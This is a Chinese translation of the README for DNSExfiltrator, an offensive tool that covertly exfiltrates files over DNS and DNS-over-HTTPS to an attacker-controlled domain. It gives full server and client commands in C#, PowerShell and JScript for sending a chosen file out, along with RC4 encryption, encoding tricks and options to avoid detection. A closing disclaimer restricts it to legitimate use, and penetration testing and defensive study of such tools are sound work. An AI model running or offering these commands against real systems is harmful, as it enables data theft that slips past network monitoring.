作者:Arno0x0x - @Arno0x0x
DNSExfiltrator 允许通过 DNS 请求的隐蔽通道传输(泄露)文件。这基本上是一个数据泄露测试工具,允许通过隐蔽通道泄露数据。
DNSExfiltrator 包含两部分:
dnsexfiltrator.py)形式提供,作为自定义 DNS 服务器接收文件dnsExfiltrator.cs:一个 C# 脚本,可用 csc.exe 编译成 Windows 托管可执行文件Invoke-DNSExfiltrator.ps1:一个 PowerShell 脚本,通过封装 dnsExfiltrator 程序集提供相同的功能dnsExfiltrator.js:一个 JScript 脚本,通过 DotNetToJScript 将 dnsExiltrator DLL 程序集转换而来,提供相同的功能为了让整个机制正常工作,你必须拥有一个域名,并将该域名的 DNS 记录(NS)指向运行 dnsexfiltrator.py 服务器端的服务器。
默认情况下,DNSExfiltrator 使用系统定义的 DNS 服务器,但您也可以设置一个特定的 DNS 服务器(例如用于调试目的或在本地运行服务器端)。
另外,使用 h 参数,DNSExfiltrator 可以通过 Google 或 CloudFlare 的 DoH 服务器执行 DoH(基于 HTTP 的 DNS)。
默认情况下,要泄露的数据会被 base64URL 编码以适配 DNS 请求。然而,某些 DNS 解析器可能会破坏这种编码(因为 FQDN 不应该是大小写敏感的),它们会干扰编码/解码过程中重要的大小写敏感性(大写或小写)。为了解决这个问题,您可以使用 -b32 标志强制对数据进行 Base32 编码,这会带来一些额外的数据量开销。如果您使用 CloudFlare DoH,则会自动应用 base32 编码。
DNSExfiltrator 支持对泄露的数据进行基本的 RC4 加密,使用提供的密码对数据进行加密/解密。
DNSExfiltrator 还提供了一些可选功能以避免检测:
唯一的依赖在服务器端,因为 dnsexfiltrator.py 脚本依赖于外部库 dnslib。您可以使用 pip 安装:
pip install -r requirements.txt
服务器端
启动 dnsexfiltrator.py 脚本,传入域名和解密密码:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
客户端
您可以使用编译版本,或者使用 PowerShell 封装(基本上是一样的),或者使用 JScript 封装。无论哪种方式,参数都相同,只是在 PowerShell 中传递参数的方式略有不同。
1/ 使用 C# 编译的 Windows 可执行文件(您可以在 release 目录中找到):
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [必需] 要泄露的文件名。
domainName: [必需] 用于 DNS 请求的域名。
password: [必需] 用于加密要泄露数据的密码。
-b32: [可选] 使用 base32 编码数据。某些 DNS 解析器可能因大小写问题而需要此选项。
h: [可选] 使用 Google 或 CloudFlare 的 DoH(基于 HTTP 的 DNS)服务器。
DNS_Server: [可选] 用于 DNS 请求的 DNS 服务器名称或 IP。默认为系统 DNS 服务器。
throttleTime: [可选] 每个 DNS 请求之间的等待时间(毫秒)。
requestMaxSize: [可选] 每个 DNS 请求的最大大小(字节)。默认为 255 字节。
labelMaxSize: [可选] 每个 DNS 请求标签(子域名)的最大大小(字符)。默认为 63 字符。
2/ 使用 PowerShell 脚本,以任何您喜欢的方式调用它(您可能知道很多调用 PowerShell 脚本的方法),并附带脚本参数。最基本的例子:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
请查看脚本文件中的 EXAMPLES 部分以获取更多使用示例。

3/ 使用 JScript 脚本,传入与独立 Windows 可执行文件完全相同的参数:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
或者,带一些选项:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
本工具仅供合法且正当的用途使用:
引用 Empire 作者的话: 没有任何方法能构建出对合法的信息安全行业有用的攻击性工具,同时又能防止恶意行为者滥用它们。